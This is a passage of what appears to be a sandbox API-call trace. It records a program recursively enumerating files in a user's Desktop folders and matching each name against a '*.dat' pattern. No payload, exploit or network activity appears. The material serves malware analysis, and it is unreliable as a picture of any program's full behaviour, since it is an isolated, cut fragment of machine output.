lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.328] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="3a8e-vNM7Q5rmwj.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf" [0146.328] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.328] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.328] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="3a8e-vNM7Q5rmwj.rtf" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf" [0146.328] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.328] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4e) returned 0x2362ba0 [0146.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x2362ba0, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", lpUsedDefaultChar=0x0) returned 78 [0146.328] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362ca8 [0146.328] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ba0 | out: hHeap=0x2360000) returned 1 [0146.328] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.328] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac00 [0146.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236ac00, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.328] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac00 | out: hHeap=0x2360000) returned 1 [0146.328] PathMatchSpecW (pszFile="3a8e-vNM7Q5rmwj.rtf", pszSpec="*.dat") returned 0 [0146.328] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ca8 | out: hHeap=0x2360000) returned 1 [0146.328] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca5dc60, ftCreationTime.dwHighDateTime=0x1d7adf4, ftLastAccessTime.dwLowDateTime=0x63524720, ftLastAccessTime.dwHighDateTime=0x1d7af50, ftLastWriteTime.dwLowDateTime=0x63524720, ftLastWriteTime.dwHighDateTime=0x1d7af50, nFileSizeHigh=0x0, nFileSizeLow=0x11833, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 VEXDj.flv", cAlternateFileName="5VEXDJ~1.FLV")) returned 1 [0146.328] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.329] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.329] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="5 VEXDj.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv" [0146.329] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.329] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.329] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="5 VEXDj.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv" [0146.329] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.329] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x33400d0 [0146.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x33400d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", lpUsedDefaultChar=0x0) returned 70 [0146.329] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362938 [0146.329] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.329] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.329] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac30 [0146.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236ac30, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.329] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac30 | out: hHeap=0x2360000) returned 1 [0146.329] PathMatchSpecW (pszFile="5 VEXDj.flv", pszSpec="*.dat") returned 0 [0146.329] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362938 | out: hHeap=0x2360000) returned 1 [0146.329] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bcdac10, ftCreationTime.dwHighDateTime=0x1d7af2b, ftLastAccessTime.dwLowDateTime=0x1a72cdf0, ftLastAccessTime.dwHighDateTime=0x1d7af68, ftLastWriteTime.dwLowDateTime=0x1a72cdf0, ftLastWriteTime.dwHighDateTime=0x1d7af68, nFileSizeHigh=0x0, nFileSizeLow=0x164e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9sPEz ZVnQg tF9.flv", cAlternateFileName="9SPEZZ~1.FLV")) returned 1 [0146.329] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.329] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.329] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="9sPEz ZVnQg tF9.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv" [0146.330] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.330] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.330] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="9sPEz ZVnQg tF9.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv" [0146.330] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.330] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4e) returned 0x2362ba0 [0146.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x2362ba0, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", lpUsedDefaultChar=0x0) returned 78 [0146.330] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23629e8 [0146.330] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ba0 | out: hHeap=0x2360000) returned 1 [0146.330] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.330] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab40 [0146.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236ab40, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.330] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab40 | out: hHeap=0x2360000) returned 1 [0146.330] PathMatchSpecW (pszFile="9sPEz ZVnQg tF9.flv", pszSpec="*.dat") returned 0 [0146.330] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23629e8 | out: hHeap=0x2360000) returned 1 [0146.330] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16675c0, ftCreationTime.dwHighDateTime=0x1d7aa93, ftLastAccessTime.dwLowDateTime=0xa2d48a40, ftLastAccessTime.dwHighDateTime=0x1d7ad3c, ftLastWriteTime.dwLowDateTime=0xa2d48a40, ftLastWriteTime.dwHighDateTime=0x1d7ad3c, nFileSizeHigh=0x0, nFileSizeLow=0x12a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JRz_Phqes8VP1D0jG57.wav", cAlternateFileName="JRZ_PH~1.WAV")) returned 1 [0146.330] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.330] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.330] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="JRz_Phqes8VP1D0jG57.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav" [0146.330] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.330] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.330] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="JRz_Phqes8VP1D0jG57.wav" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav" [0146.330] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xb0) returned 0x23604a0 [0146.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0146.331] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x52) returned 0x23611c0 [0146.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x23611c0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", lpUsedDefaultChar=0x0) returned 82 [0146.331] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x2361220 [0146.331] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.331] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.331] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aac8 [0146.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236aac8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.331] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aac8 | out: hHeap=0x2360000) returned 1 [0146.331] PathMatchSpecW (pszFile="JRz_Phqes8VP1D0jG57.wav", pszSpec="*.dat") returned 0 [0146.331] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361220 | out: hHeap=0x2360000) returned 1 [0146.331] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16675c0, ftCreationTime.dwHighDateTime=0x1d7aa93, ftLastAccessTime.dwLowDateTime=0xa2d48a40, ftLastAccessTime.dwHighDateTime=0x1d7ad3c, ftLastWriteTime.dwLowDateTime=0xa2d48a40, ftLastWriteTime.dwHighDateTime=0x1d7ad3c, nFileSizeHigh=0x0, nFileSizeLow=0x12a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JRz_Phqes8VP1D0jG57.wav", cAlternateFileName="JRZ_PH~1.WAV")) returned 0 [0146.331] FindClose (in: hFindFile=0x882830 | out: hFindFile=0x882830) returned 1 [0146.331] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604a0 [0146.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0146.331] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3a) returned 0x32ba660 [0146.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x32ba660, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpUsedDefaultChar=0x0) returned 58 [0146.331] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba4b0 [0146.331] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba660 | out: hHeap=0x2360000) returned 1 [0146.332] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.332] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aaf8 [0146.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236aaf8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.332] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aaf8 | out: hHeap=0x2360000) returned 1 [0146.332] PathMatchSpecW (pszFile="0bJmFQ", pszSpec="*.dat") returned 0 [0146.332] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba4b0 | out: hHeap=0x2360000) returned 1 [0146.332] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Nmr4xl", cAlternateFileName="")) returned 1 [0146.332] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.332] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.332] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.332] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.332] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.332] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.332] lstrcmpW (lpString1="2Nmr4xl", lpString2=".") returned 1 [0146.332] lstrcmpW (lpString1="2Nmr4xl", lpString2="..") returned 1 [0146.332] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.332] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*" [0146.332] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882ef0 [0146.333] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.333] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.333] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\." [0146.333] lstrcpyW (in: lpString1=0x19be24, 